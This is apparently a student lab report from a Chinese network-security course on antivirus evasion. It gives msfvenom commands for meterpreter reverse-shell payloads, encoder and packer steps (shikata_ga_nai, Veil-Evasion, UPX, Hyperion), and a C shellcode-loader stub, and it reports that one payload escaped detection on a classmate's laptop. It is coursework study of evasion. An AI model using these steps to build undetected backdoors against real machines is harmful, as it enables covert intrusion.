实验三 免杀原理与实践

实验内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
  • 2.通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

相关知识

免杀

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

检测工具

VirusTotal、Virscan

基础问题

(1)杀软是如何检测出恶意代码的?

  • 检测特征码:人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
  • 启发式恶意软件检测:如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
  • 基于行为检测:与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。

(2)免杀是做什么?

  • 免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存。

(3)免杀的基本方法有哪些?

  • 改变特征码

    • 只有EXE:加壳,使其无法进行逆向,比对病毒库中的特征码
    • 有shellcode:利用shellcode生成可执行文件
    • 有源代码:用其他语言进行重写再编译
  • 改变行为:改变通讯方式或操作模式
  • 利用现有playload手工打造一个后门程序

实验步骤

(一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

  • 在实验二中,已经生成后门程序,命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT= -f exe > XXX.exe
  • 其中192.168.10.138 为虚拟机Linux的ip地址

(1)使用msf编码器生成后门程序及检测

  • 首先使用VirusTotal、Virscan这两个网站对实验二中用msf命令生成的后门程序进行扫描。
  • 将后门程序放到VirusTotal网站中扫描,结果如下:

  • 将后门程序放到Virscan网站中扫描

  • 如果文件名中有数字就会出现图中的错误,需要改名。改过名之后重新检测,结果如下:

VirusTotal有50款杀软报出了病毒,Virscan有29款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。

尝试用msf编码器对后门程序进行一次到多次的编码:

  • 一次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.10.138 LPORT= -f exe > backdoor.exe
  • 十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.10.138 LPORT= -f exe > backdoor.exe
  • 其中-e为编码,-i为指定编码个数

  • 如下图所示,一次编码之后似乎有点儿效果

  • 下面试试十次编码

  • 打脸了,那另一家网站呢

  • 我收回前面说的话。。这是因为虽然进行多次编码,但恶意代码的特征码仍然存在,因此依旧能被绝大多数杀毒软件检测出来。由此可见,多次编码对免杀没有太大的效果。

(2)msfvenom生成jar等文件

  • msfvenom生成.jar文件夹(Java后门程序):

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.10.138 lport= x> 20165234_backdoor_java.jar

  • msfvenom生成php文件:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.138 lport= x> 20165234_backdoor.php

(3)veil-evasion

首先安装Veil-Evasion。Veil-Evasion已经在kali虚拟机里,如果没有可以进行在线安装: sudo apt-get install veil-evasion

(当然我属于后者,kali里没有的那种...)

  • 输入指令 veil ,启用veil

  • 输入 y 继续安装直至完成,在经过漫长的等待之后,出现了如下问题:

  • 解决方法为输入指令 /usr/share/veil/config/setup.sh --force --silent ,再次经过漫长的等待之后,成功啦

  • 接下来可以搞事情了,首先输入 use evasion 进入veil-evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面,用C语言重写meterperter
  • 分别输入 set LHOST 192.168.10.138 、 set LPORT  ,设置反弹连接IP及端口,此处IP是kali的IP地址

  • 输入 generate 生成文件

  • 输入playload文件名字:playload5234

  • 到 /var/lib/veil/output/compiled 这个路径下找生成的exe文件

  • 使用virscan对文件进行扫描

  • 可见起到了一定的效果

emmm在这里插一段,后面几张截图的字体改变了,还有部分有重叠

这是由于当时我心血来潮想尝试设置新字体,结果误删了 wqy-microhei-fonts 、 wqy-zenhei-fonts 这两个文泉驿字体的ttf文件

尝试用指令 apt-get install fonts-wqy-microhei fonts-wqy-zenhei xfonts-wqy 重新安装、修改.conf文件的代码、重启kali虚拟机等方式均没有效果

所以我只能先从主机里拖了雅黑字体进入虚拟机的 /usr/share/fonts 目录下,并且在终端配置文件首选项,单元格间宽度距设为1.40

在这种情况下字体还是稍有重叠,可以说勉强达到了之前的效果吧...

只能先这样了,在实验结束之后我会继研究并且续解决这个问题的。

(4)利用shellcode编程

  • 执行shellcode生成命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT= -f c

(二)Linux平台交叉编译Windows应用

(1)使用交叉编译

创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:

vim .c

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......(替换shellcode)
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}

  • 使用命令i686-w64-mingw32-g++ .c -o .exe编译.c文件为可执行文件
  • 由于virscan不支持上传带数字的文件,我把它上传至 virus total 进行测试

  • 复制到Win10主机里,不出所料gg了

(2)使用压缩壳(UPX)

  • 将之前的半手工打造的shellcode复制并命名为 ljf.exe ,进行加壳 upx ljf.exe -o ljf_upxed.exe

  • 上传至 virus total 进行测试

  • 将其复制到Win10主机里,依然gg

(3)使用加密壳Hyperion

将上一个生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中

进入目录 /usr/share/windows-binaries/hyperion/ 中

输入 wine hyperion.exe -v ljf_upxed.exe ljf_upxed_Hyperion.exe

  • 将其复制到Win10主机里,尽管该做的步骤都做了,不得不说360反应速度的确很快...

(四)将后门程序传只win7虚拟机中,能够成功获得shell

(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用同学的联想笔记本电脑进行实测,没有被杀软发现。

2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. 浅谈 C# SQL防注入

    1#region 防止sql注入式攻击(可用于UI层控制)  2  3///   4/// 判断字符串中是否有SQL攻击代码  5///   6/// 传入用户提交数据  7/// true-安全:f ...

  2. servlet运行机制、Request内置对象和服务器端跳转

    servlet运行机制: 当发送一个请求到服务器的时候,容器(Tomcat)会判断该路径属于哪一个 Servlet 进行处理,Servlet 有一个抽象父类“HttpServlet”,这个类是一个模板 ...

  3. js全角字符转为半角字符

    //全角转半角 function CtoH(str){ var result=""; for (var i = 0; i < str.length; i++){ if (st ...

  4. stream流操作List工具类

    工作中操作List对于程序猿来说是"基本操作",为了更加便利,对JDK8的新特性stream流进行二次封装.话不多说,直接上代码 package com.mydemo; impor ...

  5. centos7之zabbix监控mysql(mariadb)数据库

    一.Zabbix3.2.6使用自带模板监控MySQL 添加zabbix_agent客户端方法:http://www.cnblogs.com/lei0213/p/8858269.html mysql服务 ...

  6. springdata 查询思路:基本的单表查询方法(id,sort) ---->较复杂的单表查询(注解方式,原生sql)--->实现继承类---->复杂的多表联合查询 onetomany

    springdata 查询思路:基本的单表查询方法(id,sort) ---->较复杂的单表查询(注解方式,原生sql)--->实现继承类---->复杂的多表联合查询 onetoma ...

  7. 内存溢出OOM

    如何避免OOM 异常? 想要避免OOM 异常首先我们要知道什么情况下会导致OOM 异常. 1.图片过大导致OOM Android 中用bitmap 时很容易内存溢出,比如报如下错误:Java.lang ...

  8. cas-5.3.x接入REST登录认证,移动端登录解决方案

    一.部署cas-server及cas-sample-java-webapp 1.克隆cas-overlay-template项目并切换到5.3分支 git clone git@github.com:a ...

  9. [RPM,YUM]RHEL Centos mount local source / RHEL CentOS挂载本地源

    RHEL: 使用YUM安装Oracle必要软件包,将操作系统ISO文件“rhel-server-6.5-x86_64.iso”分别上传至两个节点主机“/root”目录,以root用户登录,执行以下命令 ...

  10. windows下安装oracle11g测试是否成功与监听器问题和网页控制台登录

    测试步骤1:请执行操作系统级的命令:tnsping orcl 测试步骤 2:请执行操作系统级的命令:sqlplus system/password@orcl 安装完oracle后要启动oracle服务 ...